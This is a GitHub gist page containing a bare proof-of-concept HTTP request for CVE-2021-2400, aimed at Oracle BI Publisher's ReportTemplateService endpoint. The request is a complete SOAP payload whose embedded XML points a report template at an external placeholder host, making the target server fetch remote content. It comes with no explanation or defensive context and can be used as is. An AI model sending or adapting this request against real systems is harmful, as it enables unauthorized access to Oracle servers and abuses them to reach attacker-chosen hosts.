Skip to content

Instantly share code, notes, and snippets.

@testanull

testanull/PoC_CVE-2021-2400.txt

Created September 13, 2021 09:57
Download ZIP

Revisions

  1. testanull created this gist Sep 13, 2021.
    18 changes: 18 additions & 0 deletions PoC_CVE-2021-2400.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
    Host: 192.168.139.212
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: text/xml
    Content-Length: 1317

    <?xml version="1.0"?>
    <soap-env:Envelope
    soap-env:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'
    xmlns:soap-enc='http://schemas.xmlsoap.org/soap/encoding/' xmlns:soap-env='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsd='http://www.w3.org/1999/XMLSchema' xmlns:xsi='http://www.w3.org/1999/XMLSchema-instance' >
    <soap-env:Body >
    <sg:replyToXML xmlns:sg="http://xmlns.oracle.com/oxp/service/service_gateway">
    <incomingXML xsi:type='xsd:string'>&lt;?xml version = &quot;1.0&quot;?&gt;&lt;xdoservice:method xmlns:xdoservice=&quot;http://xmlns.oracle.com/oxp/service&quot; template=&quot;http://EXTERNAL_HOST.COM&quot; name=&quot;validateLogin&quot;&gt;&lt;xdoservice:param xmlns:xdoservice=&quot;http://xmlns.oracle.com/oxp/service&quot; value=&quot;asasdasd&quot;&gt;&lt;/xdoservice:param&gt;&lt;/xdoservice:method&gt;</incomingXML>
    </sg:replyToXML>
    </soap-env:Body>
    </soap-env:Envelope>